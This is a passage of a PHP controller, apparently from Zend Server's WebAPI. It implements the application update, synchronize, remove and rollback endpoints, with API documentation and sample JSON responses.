            $deployMapper->deployApplication($baseUrl);

            $deployedApplication = $this->getDeploymentMapper()->getApplicationByBaseUrl($baseUrl);
        } catch (\Deployment\Exception $e) {
            Log::err("Deployment failed: ".$e->getMessage());
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(
                'errorMessage' => $e->getMessage()));
            if ($e->getCode() == \Deployment\Exception::VHOST_NOT_FOUND) {
                throw new WebAPI\Exception($e->getMessage(), WebAPI\Exception::MISSING_VIRTUAL_HOST);
            }
            throw new WebAPI\Exception($e->getMessage(), WebAPI\Exception::INTERNAL_SERVER_ERROR);
        } catch (\Exception $e) {
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(
                'errorMessage' => $e->getMessage()));
            Log::err("Deployment failed: ".$e->getMessage());
            $this->getDeploymentMapper()->cancelPendingDeployment($baseUrl);
            throw new WebAPI\Exception(
            _t('Deployment failed %s', array($e->getMessage())), WebAPI\Exception::INTERNAL_SERVER_ERROR
            );
        }

        return $deployedApplication;
    }

    /**
     * This method allows you to update an existing application. The package
     * you provide must contain the same application. Additionally, any new
     * parameters or new values for existing parameters must be provided.
     * This process is asynchronous, meaning the initial request will wait
     * until the package is uploaded and verified, and the initial response
     * will show information about the new version being deployed. However,
     * the staging and activation process will proceed after the response is
     * returned. You must continue checking the application status using the
     * applicationGetStatus method until the deployment process is complete.
     * 
     * @api
     * @method POST
     * @version 1.2
     * @section Deployment
     * @name applicationUpdate
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_applicationupdate_method.htm
     * @permissions Full
     * @editions Zend Server
     * @type 
     * @expected response Code: 202 Accepted - For more information see Response Format.
     * @param Integer appId Required. The application ID you would like to update.
     * @param File appPackage Required. The application package file. The content type for the file must be
     * 	application/vnd.zend.applicationpackage.
     * @param Boolean ignoreFailures Optional. Ignore failures during staging if only some servers report failures.
     * 	If all servers report failures the operation will fail in any case.
     * 	The default value is FALSE, meaning any failure will return an error.
     * @param Hashmap userParams Optional. Set values for user parameters that are defined in the package. Any
     * 	required parameters that were not defined in a previous deployment of
     * 	the same application will be required. Any parameters with already
     * 	defined values are not required, but may be specified again if you
     * 	would like to set a new value.
     * @response {
            "zendServerAPIResponse": "http:\/\/www.zend.com\/server\/api\/1.2",
            "requestData": {
                "apiKeyName": "admin",
                "method": "applicationUpdate"
            },
            "responseData": {
                "applicationInfo": {
                    "id": "18015",
                    "baseUrl": "http:\/\/<default-server>\/zend-web-api-client",
                    "appName": "zend-web-api-client",
                    "userAppName": "zend-web-api-client",
                    "installedLocation": "\/usr\/local\/zend\/var\/apps\/http\/__default__\/0\/zend-web-api-client\/1.6.6_18028",
                    "status": "deployed",
                    "healthCheck": "ok",
                    "isRollbackable": true,
                    "isRedeployable": true,
                    "servers": {
                        "applicationServer": [
                            {
                                "deployedVersion": "1.6.6",
                                "status": "deployed"
                            }
                        ]
                    },
                    "deployedVersions": {
                        "deployedVersion": "1.6.6",
                        "applicationRollbackVersion": "1.6.6"
                    },
                    "messageList": [],
                    "creationTime": "2017-07-12T16:15:41+03:00",
                    "creationTimeTimestamp": "1499865341",
                    "lastUsed": "2017-07-12T16:15:41+03:00",
                    "lastUsedTimestamp": "1499865341",
                    "isDefinedApplication": 0,
                    "vhostId": "10",
                    "pendingVersion": "1.6.7",
                    "pendingVersionData": {
                        "app_version_id": "18071",
                        "app_id": "18015",
                        "task_descriptor_id": "18137",
                        "health_check_path": "",
                        "last_used": "1499865500",
                        "creation_time": "1499865500",
                        "is_stable": "0",
                        "node_id": null,
                        "nodes": [
                            null
                        ]
                    }
                }
            }
        }
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function applicationUpdateAction()
    {
        //
        // 1. receive parameters
        //
		
		$this->isMethodPost();

        $this->validateLicenseValid();

        $params = $this->getParameters(array(
            'appId' => '',
            'userParams' => array(),
            'ignoreFailures' => 'FALSE',
            'nodes' => null,
            '_appPackageLocalPath' => false,
        ));

        Log::info('WebAPI applicationUpdate was called');
        $this->validateMandatoryParameters($params, array('appId'));

        $appId = $params['appId'];
        $this->validateInteger($appId, 'appId');

        $ignoreFailures = $this->validateBoolean($params['ignoreFailures'], 'ignoreFailures');
        $userParams     = $params['userParams'];
        $this->validateUserParams($params['userParams']);

        // check if the app package has to be taken from local path
        $_appPackageLocalPath = $params['_appPackageLocalPath'] ?? false;

        $nodes = $params['nodes'];
        if (!is_null($nodes)) {

            if (empty($nodes)) {
                $nodes = array();
            }

            // * the nodes array might be empty - that's ok. It means that the package will
            // only be added to the DB, without actual upgrade
            $this->validateArray($nodes, 'nodes');

            // check that every element is an integer
            foreach ($nodes as $nodeId) {
                $this->validateInteger($nodeId, 'node id "'.$nodeId.'"');
            }
        }

        // @todo: Is component loaded?
        //$extensions = $this->getExtensionsMapper()->selectExtension('Zend Deployment');
        // @todo: Verify has target? Check if zend server is responding?
        //
		// 2. Check the application
        //
		
        $mapper = $this->getDeploymentMapper();
        
		// get the app
        $existingApplication = $mapper->getApplicationById($appId);
        if (!$existingApplication) {
            Log::err("applicationUpdate failure - 'appId' $appId does not exist");
            throw new WebAPI\Exception(
            _t('Application with \'appId\' "%s" does not exist', array($appId)), WebAPI\Exception::NO_SUCH_APPLICATION
            );
        }
        
        // check if one if the required nodes is busy
        if (is_null($nodes) || (is_array($nodes) && !empty($nodes))) {
            
            $nodesStatuses = $mapper->getNodesStatuses($appId);
            
            // list of statuses that are not "in progress"
            $staticStatuses = array(
                \ZendDeployment_Application_Interface::STATUS_ACTIVE,
                \ZendDeployment_Application_Interface::STATUS_UPLOADING_ERROR,
                \ZendDeployment_Application_Interface::STATUS_STAGING_ERROR,
                \ZendDeployment_Application_Interface::STATUS_ACTIVATING_ERROR,
                \ZendDeployment_Application_Interface::STATUS_DEACTIVATING_ERROR,
                \ZendDeployment_Application_Interface::STATUS_UNSTAGING_ERROR,
                \ZendDeployment_Application_Interface::STATUS_DISABLED
            );
            
            // if requested to update all the nodes, check if one of them is busy
            // otherwise, check if one of the requested nodes is busy
            if (is_null($nodes)) {
                foreach ($nodesStatuses as $nodeStatus) {
                    if (!in_array($nodeStatus, $staticStatuses)) {
                        throw new WebAPI\Exception(
                            _t('Application with \'appId\' "%s" is still being updated', array($appId)),
                            WebAPI\Exception::APPLICATION_CONFLICT
                        );
                    }
                }
            } else {
                foreach ($nodesStatuses as $nodeId => $nodeStatus) {
                    if (in_array($nodeId, $nodes)) {
                        if (!in_array($nodeStatus, $staticStatuses)) {
                            throw new WebAPI\Exception(
                                _t('Application with \'appId\' "%s" is still being updated', array($appId)),
                                WebAPI\Exception::APPLICATION_CONFLICT
                            );
                        }
                    }
                }
            }
        }

        $baseUrl = $existingApplication->getBaseUrl();
        $appName = $existingApplication->getUserApplicationName();

        //
        // 3. prepare params for the deployment
        //
		
		// prepare Zend's params
        $zendParams = $mapper->createZendParams(
            $existingApplication->getUserApplicationName(), $ignoreFailures, $existingApplication->getBaseUrl()
        );

        // check app user params
        $oldUserParams = $existingApplication->getUserParams();
        if (is_array($oldUserParams)) {
            $userParams = array_merge($oldUserParams, $userParams);
            Log::debug('Merging new user parameters with the values found in the existing application'); // @todo - translate
        }
        // receive the app package
        $fileTransfer      = new \Zend\File\Transfer\Adapter\Http();
        $deploymentPackage = null;
        if (is_string($_appPackageLocalPath) && !empty($_appPackageLocalPath)) {
            // check the local path
            if (!file_exists($_appPackageLocalPath) || !is_readable($_appPackageLocalPath)) {
                throw new \Exception('Cannot read package file "'.$_appPackageLocalPath);
            }
            $filename = $_appPackageLocalPath;
        } elseif ($fileTransfer->isUploaded()) {
            // receive the file from the input/request
            $fileTransfer = $this->setFileTransfer();
            $filename     = $fileTransfer->getFilename();
        } else {
            // check pending packages
            // ..
            /* @var \Deployment\Application\ApiPendingDeployment */
            $pendingDeployment = $mapper->getPendingDeploymentByBaseUrl($existingApplication->getBaseUrl());
            if (!$pendingDeployment || !$pendingDeployment->getBaseUrl()) {
                throw new \Exception('Cannot find pending deployment for the application');
            }

            $deploymentPackage = new \Deployment\Application\Package($pendingDeployment->getDeploymentPackage());
            if (!$deploymentPackage) {
                throw new \Exception('Cannot find pending deployment package');
            }
        }

        //
        // 4. prepare the update package - store the package + details in the database
        //
		
		// store the package in the DB (if wasn't there beforehand)
        if (is_null($deploymentPackage)) {

            // check if there's already pending version
            $existingPendingVersion = $mapper->getPendingDeploymentByBaseUrl($baseUrl);
            if (
                $existingPendingVersion &&
                $existingPendingVersion->getDeploymentPackage() &&
                $existingPendingVersion->getDeploymentPackage()->getVersion() &&
                $existingPendingVersion->getStatus() == \ZendDeployment_Application_Interface::STATUS_ACTIVE
            ) {
                throw new \Exception('There is already pending version for that application');
            }

            /* @var \Deployment\Application\Package */
            $deploymentPackage = $mapper->storePendingDeployment(
                $filename, $userParams, $zendParams
            );

            // check that this isn't the same version (for partial update only)
            $isPartialUpdate = !is_null($nodes);
            if ($isPartialUpdate && $deploymentPackage->getVersion() == $existingApplication->getVersion()) {
                $mapper->cancelPendingDeployment($baseUrl);
                throw new \Exception('Cannot partially update the app with the same version');
            }

            // delete the file from the disk (at this point it's already in the DB)
            if (file_exists($filename)) {
                unlink($filename);
            }
        }

        // check that the app name fits the previous name
        $newAppName = $deploymentPackage->getPackageFile()->getName();
        $orgAppName = $existingApplication->getApplicationName();
        if ($newAppName != $orgAppName) {
            $mapper->cancelPendingDeployment($baseUrl);
            throw new WebAPI\Exception(
            _t('An upgrade can only be executed for the same application. You can not upgrade "%s" to "%s"',
                array($orgAppName, $newAppName)), WebAPI\Exception::APPLICATION_CONFLICT
            );
        }

        // set user params from "elements" array ( :-/ buuueeyy ) - inunderstandable
        $userParams = $this->processUserParams($userParams, $deploymentPackage);
        $this->validateRequiredParams($baseUrl, $deploymentPackage, $userParams);
        $this->validateParams($userParams, $baseUrl, $deploymentPackage);


        //
        // 5. Check prerequisites
        //
		
		// check prerequisites
        try {
            $prerequisites          = $deploymentPackage->getPrerequisites();
            $configuration          = \Prerequisites\Validator\Generator::getConfiguration($prerequisites);
            $configurationContainer = $this->getLocator()->get('ZendServer\Configuration\Container');
            $configurationContainer->createConfigurationSnapshot(
                $configuration->getGenerator()->getDirectives(), $configuration->getGenerator()->getExtensions(),
                $configuration->getGenerator()->getLibraries(), $configuration->getGenerator()->needServerData()
            );
        } catch (\Exception $e) {
            $mapper->cancelPendingDeployment($baseUrl);
            throw new WebAPI\Exception('Package prerequisites could not be validated: '.$e->getMessage(),
            WebAPI\Exception::INTERNAL_SERVER_ERROR);
        }

        if (!$configuration->isValid($configurationContainer)) {
            $mapper->cancelPendingDeployment($baseUrl);
            $messagesFilter = new \Prerequisites\MessagesFilter();
            $messages       = $messagesFilter->filter($configuration->getMessages());
            Log::err('configuration error:'.print_r($this->flattenMessagesArray($messages), true));
            throw new WebAPI\Exception(PHP_EOL.implode(PHP_EOL, $this->flattenMessagesArray($messages)),
            WebAPI\Exception::INVALID_PARAMETER);
        }

        //
        // 6. perform the update
        //
		
		try {
            $auditData = array(
                'application' => $appName,
                'userParams' => json_encode($userParams, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE),
                'zendParams' => json_encode($zendParams, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE),
                'version' => $deploymentPackage->getVersion(),
            );

            // check that the upgrade is applied on at least one node (or NULL = ALL nodes)
            if (is_null($nodes) || (is_array($nodes) && !empty($nodes))) {
                
                $auditType = auditMapper::AUDIT_APPLICATION_UPGRADE;
                $appsInfo = $mapper->getApplicationsInfo(array($appId));
                
                // add affected nodes in case of partial update
                if (is_array($nodes)) {
                    
                    $nodesData = $mapper->getNodesData();
                    $auditNodesData = array();
                    
                    foreach ($nodesData as $nid => $nodeData) {
                        if (in_array($nid, $nodes)) {
                            $auditNodesData[] = $nodeData['NODE_NAME'];
                        }
                    }
                    
                    $allRespondingServers = $this->getServersMapper()->findRespondingServers();
                    $auditData['nodes'] = implode(',', $auditNodesData);
                    
                    // check if this is partial update or the final/full/remaining
                    $providedNodesAreOnlyRemainingUnupdated = $mapper->areAllTheRemainingUnupdatedNodes($appId, $nodes, $deploymentPackage->getVersion());
                    if (!$providedNodesAreOnlyRemainingUnupdated) {
                        $auditType = auditMapper::AUDIT_APPLICATION_PARTIAL_UPGRADE;
                    }
                    
                }
                
                /* @var \Audit\Container */
                $auditMessage = $this->auditMessage(
                    $auditType, 
                    ProgressMapper::AUDIT_NO_PROGRESS, 
                    array($auditData), 
                    $baseUrl
                );

                $mapper->updateApplication($baseUrl, $appId, $this->getLocator(), $nodes);

                $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_REQUESTED);
            } elseif (is_array($nodes) && empty($nodes)) {
                $this->auditMessage(
                    auditMapper::AUDIT_APPLICATION_UPLOADED, 
                    ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY, 
                    array($auditData), 
                    $baseUrl
                );
            }

            $deployedApplication = $mapper->getApplicationByBaseUrl($baseUrl);
        } catch (\Deployment\Exception $e) {
            Log::err("applicationUpdate failed: ".$e->getMessage());
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(
                'errorMessage' => $e->getMessage()
            ));
            if ($e->getCode() == \Deployment\Exception::VHOST_NOT_FOUND) {
                throw new WebAPI\Exception($e->getMessage(), WebAPI\Exception::MISSING_VIRTUAL_HOST);
            }
            throw new WebAPI\Exception($e->getMessage(), WebAPI\Exception::INTERNAL_SERVER_ERROR);
        } catch (\Exception $e) {
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(
                'errorMessage' => $e->getMessage()));
            Log::err("applicationUpdate failed: ".$e->getMessage());
            $mapper->cancelPendingDeployment($baseUrl);
            throw new WebAPI\Exception(
            _t('Deployment failed %s', array($e->getMessage())), WebAPI\Exception::INTERNAL_SERVER_ERROR
            );
        }


        if (is_array($nodes) && !empty($nodes)) {
            Log::info("Application has been updated");
        } else {
            Log::info("Application has been added for further upgrade");
        }

        $this->setHttpResponseCode('202', 'Accepted');
        $servers = $mapper->getServersStatusByAppId($deployedApplication->getApplicationId());

        $viewModel = new ViewModel(array('application' => $deployedApplication, 'servers' => $servers));
        $viewModel->setTemplate('deployment/web-api/application-info');
        return $viewModel;
    }

    /**
     * Synchronizing an existing application, whether in order to fix a
     * problem or to reset an installation. This process is asynchronous,
     * meaning the initial request will start the synchronize process and
     * the initial response will show information about the application
     * being synchronized. However, the synchronize process will proceed
     * after the response is returned. You must continue checking the
     * application status using the applicationGetStatus method until the
     * process is complete.
     * 
     * @api
     * @method POST
     * @version 1.2
     * @section Deployment
     * @name applicationSynchronize
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_applicationredeploy_method.htm
     * @permissions Full
     * @editions Zend Server
     * @type 
     * @and A List of server ID's. If defined, the action will be done only on the servers whose ID's are specified which are currently members of the cluster.
     * @param String appId Required. The application ID you would like to synchronize.
     * @param Array servers Optional. A List of server ID's. If defined, the action will be done only on
     * 	the servers whose ID's are specified and which are currently members
     * 	of the cluster.
     * @param Boolean ignoreFailures Optional. Ignore failures during staging or activation if only some servers
     * 	report failures. If all servers report failures the operation will
     * 	fail in any case. The default value is FALSE, meaning any failure
     * 	will return an error.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function applicationSynchronizeAction()
    {
        // receive parameters
        $this->validateLicenseValid();
        $this->isMethodPost();
        $params = $this->getParameters(
            array(
                'ignoreFailures' => 'FALSE',
                'servers' => null,
            )
        );

        $this->validateMandatoryParameters($params, array('appId'));
        $appId = $params['appId'];
        $this->validateInteger($appId, 'appId');

        $ignoreFailures = $this->validateBoolean($params['ignoreFailures'], 'ignoreFailures');

        // @todo: Is component loaded?
        // @todo: Verify has target? Check if zend server is responding?
        
        // check if the app exists on the server/DB
        if (!($existingApplication = $this->getDeploymentMapper()->getApplicationById($appId))) {
            Log::err("Failed to synchronize application- 'appId' $appId does not exist");
            throw new WebAPI\Exception(
            _t("This application does not exist"), WebAPI\Exception::NO_SUCH_APPLICATION
            );
        }
        
        $status  = null;
        $edition = new \ZendServer\Edition();
        if (!$edition->isSingleServer()) { 
            // we want the app status of this server rather than global status 
            // (we do NOT want to prevent multiple servers from redeploying the same app)
            $status = $this->getDeploymentMapper()->getServerStatusByAppId($appId, $edition->getServerId());
        }
        if ($existingApplication->cannotRedeploy($status)) {
            Log::debug("This application cannot be synchronised, the application is currently being modified: {$existingApplication->getStatus()}");
            throw new WebAPI\Exception(
            _t("This application cannot be synchronised"), WebAPI\Exception::INTERNAL_SERVER_ERROR
            );
        }
        $baseUrl = $existingApplication->getBaseUrl() ?? '';
        // @todo: Check if application isBeingDeployed or isBeingRolledback or isBeingRemoved
        try {
            // check that the app is installed on all the servers
            // on those that haven't, add "deploy" task
            $serversWithoutTheApp = $this->getServersWithoutApp($appId, $serversWithTheApp);
            
            // filter the lists according to the "servers" parameter
            if (isset($params['servers'])) {
                $serversToRedeploy = array();
                foreach ($serversWithTheApp as $serverId) {
                    if (in_array($serverId, $params['servers'])) {
                        $serversToRedeploy[] = $serverId;
                    }
                }
                
                $serversToDeploy = array();
                foreach ($serversWithoutTheApp as $serverId) {
                    if (in_array($serverId, $params['servers'])) {
                        $serversToDeploy[] = $serverId;
                    }
                }
            } else {
                $serversToRedeploy = $serversWithTheApp;
                $serversToDeploy = $serversWithoutTheApp;
            }
            
            // redeploy the app on servers that already has it (the common case)
            if (!empty($serversToRedeploy)) {
                foreach ($serversToRedeploy as $serverId) {
                    if (!$existingApplication->isDefinedApplication()) {
                        $auditMessage = $this->auditMessage(auditMapper::AUDIT_APPLICATION_REDEPLOY,
                            ProgressMapper::AUDIT_PROGRESS_REQUESTED,
                            array(array('Application Name' => $existingApplication->getUserApplicationName())),
                            $existingApplication->getBaseUrl()); /* @var $auditMessage \Audit\Container */
                    } 
                    
                    // preform the redeploy
                    $this->getDeploymentMapper()->redeployApplication(
                        $existingApplication, $ignoreFailures, array($serverId), $this->getLocator()
                    );
                }
            }
            
            if (!empty($serversToDeploy)) {
                // get the existing app params
                $appParams = $this->getDeploymentMapper()->getExistingApplicationParams($appId);
                
                /* @var \Audit\Container */
                $auditMessage = $this->auditMessage(
                    auditMapper::AUDIT_APPLICATION_DEPLOY,
                    ProgressMapper::AUDIT_PROGRESS_REQUESTED,
                    array(
                        array(
                            'Application name' => $appParams['zendParams']['userApplicationName'],
                            'userParams' => $appParams['userParams'],
                            'zendParams' => $appParams['zendParams'],
                        ),
                    ),
                    $baseUrl
                );
                $auditId = $auditMessage->getAuditId();
                
                /* @var \Deployment\Mapper\Deploy */
                $deploymentMapperDeploy = $this->getLocator()->get('Deployment\Mapper\Deploy');
                $deploymentMapperDeploy->deployExistingAppOnNodes($appId, $serversToDeploy, $auditId);
            }
        } catch (\Exception $e) {
            Log::err("Failed to synchronize application:".$e->getMessage());
            throw new WebAPI\Exception(
            _t('Failed to synchronize application: %s', array($e->getMessage())),
            WebAPI\Exception::INTERNAL_SERVER_ERROR
            );
        }

        $this->setHttpResponseCode('202', 'Accepted');

        $deployedApplications = $this->getDeploymentMapper()->getMasterApplication($existingApplication->getApplicationId());
        if (!$deployedApplications) {
            throw new \WebAPI\Exception('Master application was not found', \WebAPI\Exception::APPLICATION_DOES_NOT_EXISTS);
        }
        
        $deployedApplications->setHydrateClass('\Deployment\Application\Container');

        $appServers = array($existingApplication->getApplicationId() => $this->getDeploymentMapper()->getServersStatusByAppId($existingApplication->getApplicationId()));
        $viewModel  = new ViewModel(array('applications' => $deployedApplications, 'servers' => $appServers));
        $viewModel->setTemplate('deployment/web-api/redeploy-all-applications');
        return $viewModel;
    }

    /**
     * This method allows you to remove an existing application. This
     * process is asynchronous, meaning the initial request will start the
     * removal process and the initial response will show information about
     * the application being removed. However, the removal process will
     * proceed after the response is returned. You must continue checking
     * the application status using the applicationGetStatus method until
     * the removal process is complete. Once applicationGetStatus contains
     * no information about the application, it has been completely removed.
     * 
     * @api
     * @method POST
     * @version 1.2
     * @section Deployment
     * @name applicationRemove
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_applicationremove_method.htm
     * @permissions Full
     * @editions Zend Server
     * @type 
     * @param Integer appId Required. The application ID you would like to update.
     * @response {
            "applicationInfo": {
                "id": "1322",
                "baseUrl": "http:\/\/2017-07-27-04-20-15:30411",
                "appName": "sanity",
                "userAppName": "http:\/\/2017-07-27-04-20-15:30411",
                "installedLocation": "\/usr\/local\/zend\/var\/apps\/http\/2017-07-27-04-20-15\/30411\/1.0.0_1305",
                "status": "deployed",
                "healthCheck": "ok",
                "isRollbackable": false,
                "isRedeployable": true,
                "servers": {
                    "applicationServer": [
                        {
                            "deployedVersion": "1.0.0",
                            "status": "deployed"
                        }
                    ]
                },
                "deployedVersions": {
                    "deployedVersion": "1.0.0"
                },
                "messageList": [],
                "creationTime": "2017-07-27T04:20:50+03:00",
                "creationTimeTimestamp": "1501118450",
                "lastUsed": "2017-07-27T04:20:50+03:00",
                "lastUsedTimestamp": "1501118450",
                "isDefinedApplication": 0,
                "vhostId": "20",
                "vhostIds": [
                    "20",
                    "20",
                    "20"
                ],
                "isCanAttachVhosts": false,
                "pendingVersion": false,
                "pendingVersionData": false
            }
        }
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function applicationRemoveAction()
    {
        $this->validateLicenseValid();
        $this->isMethodPost();
        $params                = $this->getParameters(array('ignoreFailures' => 'FALSE'));
        $this->validateMandatoryParameters($params, array('appId'));
        $appId                 = $params['appId'];
        $removeApplicationData = $params['removeApplicationData']; //flag -> 1 for removing, 0 for keeping!
        $ignoreFailures        = $this->validateBoolean($params['ignoreFailures'], 'ignoreFailures');

        $this->validateInteger($appId, 'appId');
        // @todo: Is component loaded?
        // @todo: Verify has target? Check if zend server is responding?

        $existingApplication = $this->getDeploymentMapper()->getApplicationById($appId);
        if (!$existingApplication) {
            Log::err("Failed to remove application- appId $appId does not exist");
            throw new WebAPI\Exception(
            _t("This application does not exist"), WebAPI\Exception::NO_SUCH_APPLICATION
            );
        }

        $appStatus = $existingApplication->getAppStatus();
        
        if (preg_match('%ing$%i', $appStatus)) {
            throw new \WebAPI\Exception(
                'Remove application failed. Another process is in progress (status: '.strtolower($appStatus).')', 
                \WebAPI\Exception::APPLICATION_DOES_NOT_EXISTS
            );
        }
        
        // @todo: Check if application isBeingDeployed or isBeingRolledback or isBeingRemoved
        try {
            /* @var $auditMessage \Audit\Container */
            $auditMessage = $this->auditMessage(
                auditMapper::AUDIT_APPLICATION_REMOVE,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED,
                array(
                    array(
                        'Application name' => $existingApplication->getUserApplicationName(),
                    ),
                ),
                $existingApplication->getBaseUrl()
            ); 
            
            $this->getDeploymentMapper()->removeApplication($existingApplication, $ignoreFailures, $removeApplicationData);
        } catch (\Exception $e) {
            Log::err("Failed to remove application:".$e->getMessage());

            if ($existingApplication->isDefinedApplication()) {
                $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                    array("message" => $e->getMessage()));
            }

            throw new WebAPI\Exception(
            _t('Failed to remove application %s', array($e->getMessage())), WebAPI\Exception::INTERNAL_SERVER_ERROR
            );
        }

        if ($existingApplication->isDefinedApplication()) {
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY, array());
        }

        Log::info("Application with id: $appId has been removed");

        $this->setHttpResponseCode('202', 'Accepted');

        $servers   = $this->getDeploymentMapper()->getServersStatusByAppId($existingApplication->getApplicationId());
        $viewModel = new ViewModel(array('application' => $existingApplication, 'servers' => $servers));
        $viewModel->setTemplate('deployment/web-api/application-info');
        return $viewModel;
    }

    /**
     * Rollback an existing application to its previous version. This
     * process is asynchronous, meaning the initial request will start the
     * rollback process and the initial response will show information about
     * the application being rolled back. You must continue checking the
     * application status using the applicationGetStatus method until the
     * process is
     * 
     * @api
     * @method POST
     * @version 1.2
     * @section Deployment
     * @name applicationRollback
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_applicationrollback_method.htm
     * @permissions Full
     * @editions Zend Server
     * @type 
     * @param String appId Required. The application ID you would like to rollback.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function applicationRollbackAction()
    {
        $this->validateLicenseValid();
        $this->isMethodPost();
        $params = $this->getParameters();
        $this->validateMandatoryParameters($params, array('appId'));
        $appId  = $params['appId'];
        $this->validateInteger($appId, 'appId');

        // @todo: Is component loaded?
        // @todo: Verify has target? Check if zend server is responding?
        // check if the application exists
        $existingApplication = $this->getDeploymentMapper()->getApplicationById($appId);
        if (!$existingApplication) {
            Log::err("Failed to roll back application - appId $appId does not exist");
            throw new WebAPI\Exception(_t("This application does not exist"), WebAPI\Exception::NO_SUCH_APPLICATION);
        }

        // @todo: Check if application isBeingDeployed or isBeingRolledback or isBeingRemoved
        if (!$existingApplication->isRollbackable()) {
            Log::debug("The application can not be rolled back");
            throw new WebAPI\Exception(_t("The application can not be rolled back"),
            WebAPI\Exception::NO_ROLLBACK_AVAILABLE);
        }

        $deploymentMapper = $this->getDeploymentMapper();

        /* @var Deployment\Application\ApiPendingDeployment */
        $pendingDeployment = $deploymentMapper->getPendingDeploymentByBaseUrl($existingApplication->getBaseUrl());

        // check if the package was only uploaded
        if ($pendingDeployment && $pendingDeployment->getDeploymentPackage()) {

            // get the pending version
            $pendingVersion = $pendingDeployment->getDeploymentPackage()->getVersion();

            // check if none of the servers was updated, then just remove the pending deployment
            $serversData             = $deploymentMapper->getServersStatusByAppId($appId);
            $atLeastOneUpdatedServer = false;
            $availableVersions       = array();
            if ($serversData) {
                foreach ($serversData as $serverData) {
                    if (!in_array($serverData['version'], $availableVersions)) {
                        $availableVersions[] = $serverData['version'];
                    }
                    if ($serverData['version'] == $pendingVersion) {
                        $atLeastOneUpdatedServer = true;
                    }
                }
            }

            // check if the pending version, is the one installed on all the servers \
            //
            // it's an edge case when updating the app with the same version, and interrupting the wizard process by refreshing the page.
            // In that case, the Pending version remains, and cannot be rollbacked with one of the available cases
            $pendingVersionHasTheSameVersion = (count($availableVersions) == 1 && $availableVersions[0] == $pendingVersion);

            // check if the new package was only uploaded
            if (!$atLeastOneUpdatedServer || $pendingVersionHasTheSameVersion) {
                // just delete the pending deployment
                $deploymentMapper->cancelPendingDeployment($existingApplication->getBaseUrl());

                $this->auditMessage(
                    auditMapper::AUDIT_APPLICATION_ROLLBACK, 
                    ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY,
                    array(
                        array(
                            'Application name' => $existingApplication->getApplicationName(),
                            'Type' => 'Removed uploaded package',
                        )
                    )
                );
                
                // end the request
                Log::info("Application uploaded pending package was deleted");
                $this->setHttpResponseCode('202', 'Accepted');

                $viewModel = new ViewModel(array(
                    'application' => $existingApplication,
                    'servers' => $serversData
                ));
                $viewModel->setTemplate('deployment/web-api/application-info');
                return $viewModel;
            }
        }

        try {
            /* @var $auditMessage \Audit\Container */
            $auditMessage = $this->auditMessage(
                auditMapper::AUDIT_APPLICATION_ROLLBACK,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED,
                array(
                    array(
                        'Application name' => $existingApplication->getApplicationName(),
                    ),
                )
            ); 
            $this->getDeploymentMapper()->applicationRollback($existingApplication);
            $rollbackedApplication = $deploymentMapper->getApplicationById($appId);
        } catch (\Exception $e) {
            Log::err("Failed to roll back application:".$e->getMessage());
            throw new WebAPI\Exception(
            _t('applicationRollback failed %s', array($e->getMessage())), WebAPI\Exception::INTERNAL_SERVER_ERROR
            );
        }

        Log::info("Application has been rolled back");
        $this->setHttpResponseCode('202', 'Accepted');

        $servers   = $this->getDeploymentMapper()->getServersStatusByAppId($appId);
        $viewModel = new ViewModel(array('application' => $rollbackedApplication, 'servers' => $servers));
        $viewModel->setTemplate('deployment/web-api/application-info');
        return $viewModel;
    }

    protected function getGuiTempDir()
    {
        return FS::getGuiTempDir();
    }

    /**
     * Trim variables and array (incl. multi-dimensional ones)
     *
     * @param mixed $value
     * @return mixed; null if the param didn't exist
     */
    protected function trimParam($value)
    {
        if (is_array($value)) {
            return array_map(array('self', __FUNCTION__), $value);
        }

        return trim($value);
    }
    
    
    /**
     * 
     * @param integer $appId 
     * @param array $serversWithTheApp - byRef
     * @return array
     */
    protected function getServersWithoutApp($appId, &$serversWithTheApp = null) {
        // get all the servers
        $allServers = $this->getServersMapper()->findRespondingServersIds();
        
        // get servers with the app installed
        $statuses = $this->getDeploymentMapper()->getServersStatusByAppId($appId);
        $serversWithTheApp = array_keys($statuses);
        
        // check if there are servers without the app
        if (count($allServers) > count($statuses)) {
            return array_diff($allServers, array_keys($statuses));
        }
        
        return array();
    }

    /**
     *
     * @param string $baseUrl
     * @throws WebAPI\Exception
     */
    protected function validateBaseUrl($baseUrl)
    {
        $baseUrl = $this->trimParam($baseUrl);

        if (\Deployment\Model::DEFAULT_SERVER == $baseUrl) {
            return $baseUrl;
        }

        if (0 !== strpos($baseUrl, 'http')) {
            $fakeUri = 'http://'.$baseUrl;
        } else {
            $fakeUri = $baseUrl;
        }

        try {
            $uri = UriFactory::factory($fakeUri);
        } catch (\Zend\URI\Exception $e) {
            $message = _t("Parameter 'baseUrl' must be a valid URL: %s", array($e->getMessage()));
            throw new WebAPI\Exception($message, WebAPI\Exception::INVALID_PARAMETER);
        }

        $baseUrlValidator = new \Deployment\Validator\VirtualHostPort();
        if (!$baseUrlValidator->isValid($uri->getPort())) {
            Log::err('Invalid parameter \'baseUrl\'');
